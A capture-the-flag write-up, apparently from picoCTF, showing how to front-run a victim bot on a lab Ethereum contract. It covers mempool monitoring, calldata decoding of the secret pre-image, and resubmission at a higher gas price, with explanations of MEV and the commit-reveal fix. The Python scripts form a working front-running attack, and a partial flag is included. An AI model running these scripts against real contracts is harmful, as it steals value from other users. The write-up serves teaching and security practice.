Description
A mysterious vault has been discovered on the blockchain. It's programmed to release a secret flag to anyone who can provide the correct pre-image to a specific hash. A Victim Bot has found the answer and is trying to submit it, but they are being very stingy with their gas price. Contract: here
Download and read FrontRunning.sol.
Confirm the contract has a getFlag() (or equivalent) function before scripting:
Set up a Foundry or web3.py environment.
cat FrontRunning.solgrep -E 'function getFlag|public.*flag|function unlock' FrontRunning.solSolution
Walk me through it- Step 1Monitor the mempool for the victim's transactionCompute the function selector locally, watch pending txs for that selector hitting the contract, and ABI-decode the string argument out of the calldata.python
python3 << 'EOF' from web3 import Web3 from eth_utils import keccak from eth_abi import decode as abi_decode w3 = Web3(Web3.HTTPProvider("http://<HOST>:<PORT_FROM_INSTANCE>")) CONTRACT_ADDR = "<CONTRACT_ADDRESS>" # Compute the selector yourself - don't hard-code: UNLOCK_SELECTOR = keccak(b"unlock(string)")[:4].hex() # 'aabbccdd' print("unlock(string) selector:", UNLOCK_SELECTOR) pending_filter = w3.eth.filter("pending") while True: for tx_hash in pending_filter.get_new_entries(): tx = w3.eth.get_transaction(tx_hash) if not tx or not tx["to"] or tx["to"].lower() != CONTRACT_ADDR.lower(): continue calldata = tx["input"].hex().lstrip("0x") if not calldata.startswith(UNLOCK_SELECTOR): continue # Drop the 4-byte selector and ABI-decode the remaining args (pre_image,) = abi_decode(["string"], bytes.fromhex(calldata[8:])) print("Victim pre-image:", pre_image, "gasPrice:", tx["gasPrice"]) break EOFLearn more
The Ethereum mempool (memory pool) is a waiting area for transactions that have been broadcast to the network but not yet included in a block. Because Ethereum is a public peer-to-peer network, every pending transaction is visible to every node, including its entire calldata (the function arguments being sent to the smart contract). This transparency is by design for a decentralised system, but it creates a privacy and fairness problem.
A function selector is the first 4 bytes of a transaction's calldata: the Keccak-256 hash of the function's signature truncated to 4 bytes. For
unlock(string)the selector iskeccak256("unlock(string)")[:4]. By filtering pending transactions that call your contract and match this selector, you can identify the victim's transaction and ABI-decode thestringargument (the pre-image) from the remaining calldata bytes.In real Ethereum, professional MEV (Maximal Extractable Value) searchers run highly optimised mempool monitoring bots that detect profitable opportunities (arbitrage, liquidations, sandwich attacks) within milliseconds of a transaction appearing. The ecosystem around MEV includes specialised relay networks like Flashbots which allow searchers to submit bundles directly to block builders without broadcasting them publicly, partially mitigating mempool-based attacks.
- Step 2Front-run with a higher gas priceSubmit the same pre-image with a strictly higher gas price than the victim. Use a minimal ABI fragment for the unlock function so you don't need the full Solidity build artifacts.python
python3 << 'EOF' from web3 import Web3 from eth_account import Account w3 = Web3(Web3.HTTPProvider("http://<HOST>:<PORT_FROM_INSTANCE>")) acct = Account.from_key("YOUR_PRIVATE_KEY") CONTRACT_ADDR = "<CONTRACT_ADDRESS>" pre_image = "EXTRACTED_PREIMAGE" victim_gas_price = w3.to_wei(1, "gwei") # whatever the mempool tx had # Minimal ABI fragment - just the function we want to call. ABI = [{ "type": "function", "name": "unlock", "stateMutability": "nonpayable", "inputs": [{"name": "preImage", "type": "string"}], "outputs": [], }] contract = w3.eth.contract(address=CONTRACT_ADDR, abi=ABI) tx = contract.functions.unlock(pre_image).build_transaction({ "from": acct.address, "gas": 200_000, "gasPrice": victim_gas_price * 2, # comfortably higher than victim "nonce": w3.eth.get_transaction_count(acct.address), }) signed = acct.sign_transaction(tx) tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction) print("front-run tx:", tx_hash.hex()) EOFLearn more
Front-running is the act of inserting your transaction ahead of a known pending transaction by paying a higher gas price. Ethereum miners (and now validators under Proof-of-Stake) are free to order transactions within a block however they choose; the dominant strategy is to order by gas price descending (highest gas price first) because they earn the gas fees. Paying more gas guarantees your transaction is processed before the victim's lower-gas transaction.
This is a critical vulnerability in any smart contract that gates access to a secret via a hash pre-image commitment scheme. The contract hashes the submitted string and compares to a stored hash, so anyone who knows the correct string can call it. But because Ethereum is public, the correct string is exposed in the mempool before the block is mined. The contract design is fundamentally broken for secrets: you cannot use Ethereum as a secret-sharing channel without cryptographic commitments or commit-reveal schemes.
The correct fix is a commit-reveal scheme: in the commit phase, participants submit
keccak256(secret || salt || sender_address)(a hash that binds the secret to the sender without revealing it). In the reveal phase (a later block), they submit the actual secret, and the contract verifies the pre-committed hash. Front-runners cannot exploit the reveal because the hash binds the secret to the original sender's address. - Step 3Read the flagAfter your transaction is mined before the victim's, call the contract's getFlag() function to retrieve the flag.bash
cast call CONTRACT_ADDR 'getFlag()(string)' --rpc-url http://HOST:PORTLearn more
castis part of Foundry, the modern Solidity development toolkit.cast callmakes a read-only (view) call to a smart contract function: it does not send a transaction or consume gas, and it returns the function's return value. The function signature string'getFlag()(string)'tells cast both the input type (none) and output type (string) so it can ABI-encode the call and decode the result. Confirm the function actually exists in the source first (grep -E 'function getFlag|public.*flag' FrontRunning.sol) - some challenges name itflag()or store the flag in a public state variable instead, in which case the auto-generated getter has the same name.Front-running and other MEV attacks extracted over $1 billionof value from Ethereum users in the years following the DeFi boom. The broader MEV problem (which includes sandwich attacks, back-running, and time-bandit attacks) has driven significant research into solutions including private mempools, fair ordering protocols (like Chainlink's Fair Sequencing Services), and cryptographic techniques (threshold encryption of transaction contents until they are sequenced).
This challenge is a clean, minimal demonstration of why public blockchains cannot be used as secret-communication channels without additional cryptography. Any value or secret you send in a transaction's calldata is visible to the entire world before it is confirmed. See Smart Contract CTF Bugs for the full taxonomy of EVM-level vulnerabilities.
Flag
picoCTF{fr0nt_runn1ng_...}
Monitor the mempool for the victim's low-gas transaction, extract the pre-image, and resubmit with higher gas to get mined first.